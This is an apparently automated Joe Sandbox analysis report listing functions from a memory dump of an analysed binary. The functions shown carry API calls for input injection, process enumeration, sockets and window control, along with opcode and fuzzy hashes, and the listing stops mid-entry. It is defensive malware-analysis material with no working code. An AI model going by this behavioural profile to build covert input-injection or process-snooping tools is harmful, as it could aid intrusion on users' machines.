Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: c5d2bdab15cb87f80a40e1f64f3bbf2a186a8765b090ed724876d3e626bff460
Instruction ID: c0ebc7723b622d9b6ecffedb5a85fe47ab3fff8b4fef26c5764da85460f984b4
Opcode Fuzzy Hash: c5d2bdab15cb87f80a40e1f64f3bbf2a186a8765b090ed724876d3e626bff460
Instruction Fuzzy Hash: 44112931240209BEEF215F39CC45FAB3BECEF85B54F110114FAD5E6090D2B1D8519B10

Function 01032F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

Part of subcall function 01032DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 01032DC5
Part of subcall function 01032DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 01032DD6
Part of subcall function 01032DA7: GetCurrentThreadId.KERNEL32 ref: 01032DDD
Part of subcall function 01032DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 01032DE4

GetFocus.USER32 ref: 01032F78

Part of subcall function 01032DEE: GetParent.USER32(00000000), ref: 01032DF9

GetClassNameW.USER32(?,?,00000100), ref: 01032FC3
EnumChildWindows.USER32(?,0103303B), ref: 01032FEB

Strings

%s%d, xrefs: 01032FFF

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: eeb417c6fc2befc56b16996882b71c1046ad295ae1a13c2a1a8e84a527fbb622
Instruction ID: ba6ddc3627777c882173f7e37bed1cef301d6c6de799cced35040d57177117fd
Opcode Fuzzy Hash: eeb417c6fc2befc56b16996882b71c1046ad295ae1a13c2a1a8e84a527fbb622
Instruction Fuzzy Hash: 2711D271200205ABDF117F648CD9EEE776EAFD4304F04407AF989DB252DE3599099B70

Function 01065882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 010658C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 010658EE
DrawMenuBar.USER32(?), ref: 010658FD

Strings

0, xrefs: 0106588F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: f10f1ff78038f24d94b5c6c02d5fd627eee466b79d4a2a077cc78c2ec6cc713f
Instruction ID: 880278ee1b19d451e890ce4e72600ec73d8e0c393763dc5deb51a4becc53589f
Opcode Fuzzy Hash: f10f1ff78038f24d94b5c6c02d5fd627eee466b79d4a2a077cc78c2ec6cc713f
Instruction Fuzzy Hash: 33016D31500258AFEB619F15DC44BAFBBB8FF453A0F00809AE889D6151DB348A84DF31

Function 0102D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0102D3BF
FreeLibrary.KERNEL32 ref: 0102D3E5

Strings

X64, xrefs: 0102D2A8
GetSystemWow64DirectoryW, xrefs: 0102D3B9

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 7b522354269ca5a63d731483791225d34f53417002f7ae20156358e422da35ca
Instruction ID: 1ffc2450a42a1539d69a8534b8190725d6ad991385874a46435d03a6708b3255
Opcode Fuzzy Hash: 7b522354269ca5a63d731483791225d34f53417002f7ae20156358e422da35ca
Instruction Fuzzy Hash: 48F02B72906631D7F7B11595CC74AAE7758AF12701F59C58AF5C1FA108DB30CE4887D1

Function 0103007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c1cb39cf56458dd449e01f1d5e2e2e9306d8dba11966d723a84a03747dfbbd
Instruction ID: dbae0eaa9ae505041603fbe0ed8ecc2540fb648b72a8c525f930c830e6d3bcd5
Opcode Fuzzy Hash: 22c1cb39cf56458dd449e01f1d5e2e2e9306d8dba11966d723a84a03747dfbbd
Instruction Fuzzy Hash: C1C13A75A0120AAFDB14CFA8C894AAEBBB9FF88704F108598F545EB255D731ED41CB90

Function 01003E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 01003F0B
__alldvrm.LIBCMT ref: 0100410C
__alldvrm.LIBCMT ref: 0100412E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 2c24d137e8620c7b811886b9b4c6bb19c13537e62ffe2dbf01e39926a673d26a
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 04A11372A042869FF727CE28C8907AEBBE5EF61350F1841ADE6C5DB2C1C6389941C754

Function 0105342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 01053459
CoUninitialize.OLE32 ref: 01053463
VariantInit.OLEAUT32(?), ref: 0105346E
VariantClear.OLEAUT32(?), ref: 0105371B

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 3603d74673fac5e85783d46576eb85b0f5bb576593bffc974079023b7bfd9811
Instruction ID: fc00994a931b4da2065dbdd4e8337f1cb670d6f31aef804a27b6c9073583bf0c
Opcode Fuzzy Hash: 3603d74673fac5e85783d46576eb85b0f5bb576593bffc974079023b7bfd9811
Instruction Fuzzy Hash: 82A158756043019FC750EF28C885A2ABBE5FF88354F088859FD8A9B361DB34ED01CB92

Function 01030436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0106FC08,?), ref: 010305F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0106FC08,?), ref: 01030608
CLSIDFromProgID.OLE32(?,?,00000000,0106CC40,000000FF,?,00000000,00000800,00000000,?,0106FC08,?), ref: 0103062D
_memcmp.LIBVCRUNTIME ref: 0103064E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: d11c1d8ce0737acb61d040833a3353d3e8cf9a4ef19007004413ee41c6ddf964
Instruction ID: 5720831c45b4c2350c202680ed2604148b200fcea2eb41a4266451c94d169162
Opcode Fuzzy Hash: d11c1d8ce0737acb61d040833a3353d3e8cf9a4ef19007004413ee41c6ddf964
Instruction Fuzzy Hash: CC812A75A00109EFCB04DF98C984EEEB7B9FF89315F204598F546AB254DB71AE06CB60

Function 0105A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0105A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0105A6BA

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0105A79C
CloseHandle.KERNEL32(00000000), ref: 0105A7AB

Part of subcall function 00FECE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,01013303,?), ref: 00FECE8A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 6cdc7f7ebda4635126075fafa107bf75d6c20ef1e7e8e54640c824f1443e3007
Instruction ID: fc991e07acde005aba084862bffa114540eb76c8dd8c06c6d3b8c0b66457e0b8
Opcode Fuzzy Hash: 6cdc7f7ebda4635126075fafa107bf75d6c20ef1e7e8e54640c824f1443e3007
Instruction Fuzzy Hash: 52518C71608300AFD710EF24CC85A6BBBE9FF89714F04891EF98597291EB34D904DB92

Function 01011391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 010114C0

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f92ee3700772e96a7e4857c65ebf544d06f682291b0762979df9eb61addfc15b
Instruction ID: 6be404440a759cb1dc3283453eae81d04c26f74eb85083e15d57faeaf3329a9c
Opcode Fuzzy Hash: f92ee3700772e96a7e4857c65ebf544d06f682291b0762979df9eb61addfc15b
Instruction Fuzzy Hash: 08413731A40105ABEB2A6BFC9C44BFE3AE4EF11B70F144265F799D61E5EE3C84409672

Function 01066278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 010662E2
ScreenToClient.USER32(?,?), ref: 01066315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 01066382

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 78bd10334bc338c3717cd88c91d67b2c0c07ba3b8fe0197d02035ae175a432b5
Instruction ID: c22415acc0d59cad8f802b3d1f2573315e609fc22ba4bea4ab0e618e4fe37c26
Opcode Fuzzy Hash: 78bd10334bc338c3717cd88c91d67b2c0c07ba3b8fe0197d02035ae175a432b5
Instruction Fuzzy Hash: 34518F70A00619EFDF21DF58D8809AE7BFAFF45360F108199F9959B291D732E941CB50

Function 01051AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 01051AFD
WSAGetLastError.WSOCK32 ref: 01051B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 01051B8A
WSAGetLastError.WSOCK32 ref: 01051B94

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 98d98ff149fbed7519d87128c8676392e09888d0de69bbf7c0ebb6e09e84eb20
Instruction ID: bc73338fdfa9db25fc0d4f6fc586d3814ddb4d82023af5a8c79a858ef351894d
Opcode Fuzzy Hash: 98d98ff149fbed7519d87128c8676392e09888d0de69bbf7c0ebb6e09e84eb20
Instruction Fuzzy Hash: 0D41B334600200AFE760AF24C886F2A77E5AB44718F588499FA5A9F3D3D776DD41CB90

Function 0100B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 762cecce9222ba988bc8b4f6d32b4fad9dd1ca804e7b0fad7db132e2debe0005
Instruction ID: b0d63faff8cb252431c4c2a5382daacfb96928d3ccc3aa6c61e8edadb8587275
Opcode Fuzzy Hash: 762cecce9222ba988bc8b4f6d32b4fad9dd1ca804e7b0fad7db132e2debe0005
Instruction Fuzzy Hash: B141067AA00305AFE7269F78CC41BAEBBE9EF88710F10456AF185DB2D0D6759A018790

Function 010456D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 01045783
GetLastError.KERNEL32(?,00000000), ref: 010457A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 010457CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 010457FA

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 137d88af0527b7cc2bb0fdbe9252de9262f7f8011729c3660ddb9328a5282b5f
Instruction ID: 24e7158e69ccbf13041f0ef056f7490c2fb1c8cbbd31e84b1df8483cc4518343
Opcode Fuzzy Hash: 137d88af0527b7cc2bb0fdbe9252de9262f7f8011729c3660ddb9328a5282b5f
Instruction Fuzzy Hash: 86414C35200611DFCB11EF14D984A5DBBE2EF88320B088499EC8AAF366DB34FD01DB91

Function 0100D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00FF6D71,00000000,00000000,00FF82D9,?,00FF82D9,?,00000001,00FF6D71,8BE85006,00000001,00FF82D9,00FF82D9), ref: 0100D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0100D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0100D9AB
__freea.LIBCMT ref: 0100D9B4

Part of subcall function 01003820: RtlAllocateHeap.NTDLL(00000000,?,010A1444,?,00FEFDF5,?,?,00FDA976,00000010,010A1440,00FD13FC,?,00FD13C6,?,00FD1129), ref: 01003852

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: bb8e2588e232156f1fbd2ca7619e83fe5d8902db28e15934ed83cf6486a79f0e
Instruction ID: de48de5e01806a1ee68b5fffee74f7af67b0c974d168acf38b70beded9c8cac2
Opcode Fuzzy Hash: bb8e2588e232156f1fbd2ca7619e83fe5d8902db28e15934ed83cf6486a79f0e
Instruction Fuzzy Hash: 0831B371A0020AABEF26DFA8DD40EAE7BA6EF41310F0541A9FD44D7190D739D950CBA0

Function 0103AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0103AAAC
SetKeyboardState.USER32(00000080), ref: 0103AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0103AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0103AB88

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 8ea29d66e474d9b29fb2139193b4d06f966f4662004aae7de7a13cec5cd27f32
Instruction ID: 7b187cad42330b3dc0337898244af3011073b3d0482e2b3841b8b39ded58d0b2
Opcode Fuzzy Hash: 8ea29d66e474d9b29fb2139193b4d06f966f4662004aae7de7a13cec5cd27f32
Instruction Fuzzy Hash: 5631E531B40248EEFF398A698804BFA7BEEABC5310F044A5AE5C1D71D2D3799581C765

Function 010652C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 01065352
GetWindowLongW.USER32(?,000000F0), ref: 01065375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 01065382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 010653A8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: b9bbb113553c979a9048ab9db7a821b23edac822742e1c650c78752f411faaab
Instruction ID: b1b980bdfaca29cc400974f049c17e6140603ee53fe6ce94258e5a61fe2745e3
Opcode Fuzzy Hash: b9bbb113553c979a9048ab9db7a821b23edac822742e1c650c78752f411faaab
Instruction Fuzzy Hash: 5531C534A55628EFFB748E18CC05BE83BA9AB04B90F48C142FBD1961E1D7F59A40DB42

Function 01067674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0106769A
GetWindowRect.USER32(?,?), ref: 01067710
PtInRect.USER32(?,?,01068B89), ref: 01067720
MessageBeep.USER32(00000000), ref: 0106778C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 4fda925403139749ffaf123097a15b4cdac62ec6bcd0c684bac898d9c0df25d8
Instruction ID: e57f937f6f461ef60c95d15f42f96e8547a67ef6e98301c44721af995ebe44ff
Opcode Fuzzy Hash: 4fda925403139749ffaf123097a15b4cdac62ec6bcd0c684bac898d9c0df25d8
Instruction Fuzzy Hash: D841BF34601205EFEB12CF58C884EA97BF8FF48318F0481A8E5949B255D739E941CF90

Function 010616DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 010616EB

